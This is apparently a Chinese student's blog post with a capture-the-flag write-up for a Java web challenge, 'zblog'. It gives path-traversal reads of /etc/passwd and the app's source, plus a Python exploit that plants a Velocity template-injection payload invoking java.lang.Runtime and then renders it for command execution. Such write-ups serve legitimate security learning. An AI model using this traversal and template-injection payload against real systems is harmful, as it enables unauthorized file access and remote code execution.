最近忙着复习去了。等到中午概统的复习课结束了才有时间完整看下题。除开一道web-pwn,剩下两个php都是常规考点,就是脑洞跟环境真心恶心人。学弟们也轻松解决,应该不需要什么记录。我自己做了下zblog这道java题,简单记录下。
最近ciscn赛区第7打进分区赛。强网杯跟着SU拿了第12。(就是自己太捞了,难题一律卡壳,果然不好好研究php跟java是没有出路的).然后为了国赛出了道Node.js不知道有没有机会拿到别的赛区去,估计真拿了会丢人吧。复习的时间也很少。不知道考试会不会炸……但是每次结束一个阶段总要写写文章的。所以形式化地写写。
zblog
简单java.就是环境卡的要死。
title参数存在文件读取。后面看源码会发现是任意模板文件渲染的。
这里没记错的话有个小细节就是不能随便插../
来穿越路径。后面会发现它是拼接路径的所以路径不能随便构造。而且似乎一开始尝试读文件的时候有点迷。文件末尾加了个/
才能读到,不加读不到。不知道是什么神必操作。然后后来好像又给修好了???
总之fuzz一下可以找到根目录的位置读到/etc/passwd
。接着读下/proc/self/cmdline
。
1
| java -jar /home/ctf/web/target/web-1.0-SNAPSHOT-jar-with-dependencies.jar
|
个人觉得python跟java环境在有arbitary file read的情况下读下cmdline挺重要的。基本都会暴露绝对路径。比如此处。
更重要的是这个target.写过maven项目的都知道maven build好的内容都放在target文件夹下。所以这里基本确定能够确定按maven项目结构来读文件。
只要知道结构就等于把所有文件都暴露出来了。

先读下pom.xml。发现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69
| <?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion>
<groupId>ctf</groupId> <artifactId>web</artifactId> <version>1.0-SNAPSHOT</version>
<properties> <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding> <project.reporing.outputEncoding>UTF-8</project.reporing.outputEncoding> <maven.compiler.source>1.8</maven.compiler.source> <maven.compiler.target>1.8</maven.compiler.target> </properties>
<dependencies> <dependency> <groupId>com.sparkjava</groupId> <artifactId>spark-core</artifactId> <version>2.9.2</version> </dependency> <dependency> <groupId>com.sparkjava</groupId> <artifactId>spark-template-velocity</artifactId> <version>2.7.1</version> </dependency> <dependency> <groupId>org.slf4j</groupId> <artifactId>slf4j-nop</artifactId> <version>1.7.30</version> </dependency> <dependency> <groupId>org.apache.velocity</groupId> <artifactId>velocity</artifactId> <version>1.7</version> </dependency> </dependencies> <build> <plugins> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-assembly-plugin</artifactId> <configuration> <archive> <manifest> <mainClass>Blog</mainClass> </manifest> </archive> <descriptorRefs> <descriptorRef>jar-with-dependencies</descriptorRef> </descriptorRefs> </configuration> <executions> <execution> <id>make-assemble</id> <phase>package</phase> <goals> <goal>single</goal> </goals> </execution> </executions> </plugin> </plugins> </build>
</project>
|
从mainclass这里的值可以看出加载的主类Blog.class。按照maven默认没有包的结构直接读../../../../src/main/java/Blog.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| import static spark.Spark.*; import java.io.*; import org.apache.velocity.Template; import org.apache.velocity.VelocityContext; import org.apache.velocity.app.VelocityEngine; import spark.template.velocity.VelocityTemplateEngine;
import java.io.StringWriter;
public class Blog {
private static void log(String fname, String content) { try { FileWriter writer = new FileWriter(fname, true); writer.write(content); writer.close(); } catch (IOException e) {
} }
public static void main(String[] arg) { staticFiles.location("/public");
VelocityEngine velocityEngine = new VelocityEngine(); velocityEngine.setProperty(VelocityEngine.RESOURCE_LOADER, "file"); velocityEngine.setProperty(VelocityEngine.FILE_RESOURCE_LOADER_PATH, "/"); velocityEngine.init(); VelocityContext context = new VelocityContext();
get("/", (request, response) -> { request.session(true); String title = request.queryParams("title"); if (title != null) { log("/tmp/" + request.session().id(), "Client IP: " + request.ip() + " -> File: " + title + "\n"); Template template = velocityEngine.getTemplate("/home/ctf/web/src/main/resources/templates/" + title); StringWriter sw = new StringWriter(); template.merge(context, sw); return sw; } Template template = velocityEngine.getTemplate("/home/ctf/web/src/main/resources/templates/index"); StringWriter sw = new StringWriter(); template.merge(context, sw); return sw; }); } }
|
代码逻辑是title参数除了会按值找到对应模板文件渲染。还会将参数按照sessionid存储到tmp/
下。那么此处应该先传payload再进行渲染。即可触发ssti达成rce.
session为node0wjq18duzt9pg4ddli5qyyfqn3034.node0
这种形式。id去掉.node0
即可。
简单写个exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| import requests
url='http://122.112.253.135/'
session='node0wjq18duzt9pg4ddli5qyyfqn3034.node0' id=session.rstrip('.node0') ''' data={'title':'../../../../src/main/java/Blog.java'} r=requests.get(url,params=data,cookies={'JSESSIONID':session}) print(r.text) ''' data={'title':"#set($x='') #set($rt=$x.class.forName('java.lang.Runtime')) #set($chr=$x.class.forName('java.lang.Character')) #set($str=$x.class.forName('java.lang.String')) #set($ex=$rt.getRuntime().exec('grep -r flag /tmp')) $ex.waitFor() #set($out=$ex.getInputStream()) #foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end"} r=requests.get(url,params=data,cookies={'JSESSIONID':session}) data={'title':'../../../../../../../tmp/'+id} r=requests.get(url,params=data,cookies={'JSESSIONID':session}) print(r.text)
|
这个payload是找了个velocity回显的payload写的。逻辑上还是反射就不多说了。其实之前学习JavaSec那个项目里的sstipayload也能执行。但是似乎外带时有点问题。
唯一比较狗的就是flag在/tmp
下。在tmp列目录会因为session文件太多进行相关操作直接卡死。一个个试发现最后只有grep -r flag /tmp
不会卡。做完后发现换了个节点,flag放根目录了……
就这么多吧。希望新学期一切顺利。比赛成绩能更进一步。整个暑假学习的知识,做过的题,打过的比赛让这两个月没有荒废,收获还是挺大的。比较可惜的是本来打算跟完的Commoncollections几条链子以及jackson,shiro等等exp的原理没能全部完成。希望过段时间能把坑填了。